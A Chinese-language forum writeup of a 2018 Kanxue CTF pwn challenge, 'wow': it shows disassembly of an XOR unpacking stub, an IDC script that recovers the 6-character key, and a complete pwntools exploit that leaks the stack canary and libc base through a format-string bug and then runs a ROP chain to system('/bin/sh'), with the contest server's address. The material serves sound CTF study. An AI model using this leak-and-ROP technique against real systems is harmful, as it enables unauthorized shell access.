-
-
[讨论]看雪CTF2018 - 第三题 PWN_wow Writeup
-
发表于: 2018-6-21 21:43 2255
-
首先啊,查看程序,主程序以后跳转,有个小壳
1 2 3 4 5 6 7 8 9 10 11 | .text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 mov bl, [rax+rcx] .text:0000000000400869 xor bl, dl .text:000000000040086B mov [rax+rcx], bl .text:000000000040086E mov dh, [rax+rcx-1] .text:0000000000400872 inc rcx .text:0000000000400875 cmp dh, 0FBh .text:0000000000400878 jz short L1_64 .text:000000000040087A cmp bl, 90h .text:000000000040087D jnz short L1_64 |
逐字异或,但是发现这个异或的结果每次都不同,于是发现需要输入6位密码,根据6位密码来异或
1 2 3 4 5 6 7 8 | .text:000000000040083A xor rax, rax .text:000000000040083D mov rdx, 6 .text:0000000000400844 push rax .text:0000000000400845 lea rax, szCh .text:000000000040084D mov rsi, rax .text:0000000000400850 pop rax .text:0000000000400851 mov rdi, rax .text:0000000000400854 syscall ; LINUX - |
然后跑一个idc脚本判断异或以后是FB 90
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <idc.idc> static main() { auto ptr, i, a, b, k, x; k = 0; ptr = 0x40087F; i = 0; while (1) { a = Byte(ptr+i); b = Byte(ptr+i+1); for (x = 0; x <= 255; x++) { if (((a^x) == 0xFB)&&((b^x) == 0x90)) { Message( "%x\n" ,ptr+i); Message( "%x\n" ,x); k++; break ; } } if (k == 6) break ; i++; } Message( "good job\n" ); } |
于是得到解密密码evXnaK
然后解密成功,输出wow,继续观察程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | .text:0000000000400A30 xor rax, rax .text:0000000000400A33 .text:0000000000400A33 loc_400A33: ; CODE XREF: .text:L_J0↑j .text:0000000000400A33 mov rdx, 1Ah .text:0000000000400A3A mov rsi, rsp .text:0000000000400A3D mov ds:lpGoble, rsp .text:0000000000400A45 mov rdi, rax .text:0000000000400A48 syscall ; LINUX - sys_read .text:0000000000400A4A mov rax, cs:lpGoble .text:0000000000400A51 mov rdi, rax .text:0000000000400A54 mov eax, 0 .text:0000000000400A59 call _printf .text:0000000000400A5E xor rax, rax .text:0000000000400A61 mov rdx, 200h .text:0000000000400A68 lea rsi, [rsp-20h] .text:0000000000400A6D mov rdi, rax .text:0000000000400A70 syscall ; LINUX - sys_read .text:0000000000400A72 nop |
读入然后输出再读入,这里可以栈溢出,但是发现开了GS保护,确定是使用rop
一开始想着用长字符串连接GS,然后实现程序复用,但是发现复用需要再检查一次GS,陷入僵局
然后吃了点东西,想到是格式化字符串漏洞(刚刚真是石乐志)
于是编写payload泄露出libc和gs
在payload中加入泄露出来的gs
得到最后的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | from pwn import * context(arch= 'amd64' ,os= 'linux' ) context.log_level = 'debug' debug = 1 if (debug==1): p = process( './wow' ) else : p = remote( '139.199.99.130' ,65188) p.recvuntil( '***************************\n\n' ) p.send( 'evXnaK' ) p.recvuntil( 'wow!\n' ) p.send( 'gs:%13$lx\nlibc:%15$lx\n' ) p.recvuntil( 'gs:' ) gs = p.recvline()[:-1] p.recvuntil( 'libc:' ) libc = p.recvline()[:-1] gs = gs gs = u64(gs.decode( 'hex' )[::-1]) libc = u64(libc.decode( 'hex' )[::-1]+ '\x00\x00' ) - 0x20830 print( 'gs:' +hex(gs)) print( 'libc:' +hex(libc)) binsh = libc + 0x18CD57 rdi_ret = libc + 0x21102 system = libc + 0x45390 print( 'binsh:' +hex(binsh)) print( 'rdi_ret:' +hex(rdi_ret)) print( 'system:' +hex( system )) p.send(p64(0)*11 + p64(gs) + p64(0) + p64(rdi_ret) + p64(binsh) + p64( system )) p.interactive() |
赞赏
他的文章
赞赏
雪币:
留言: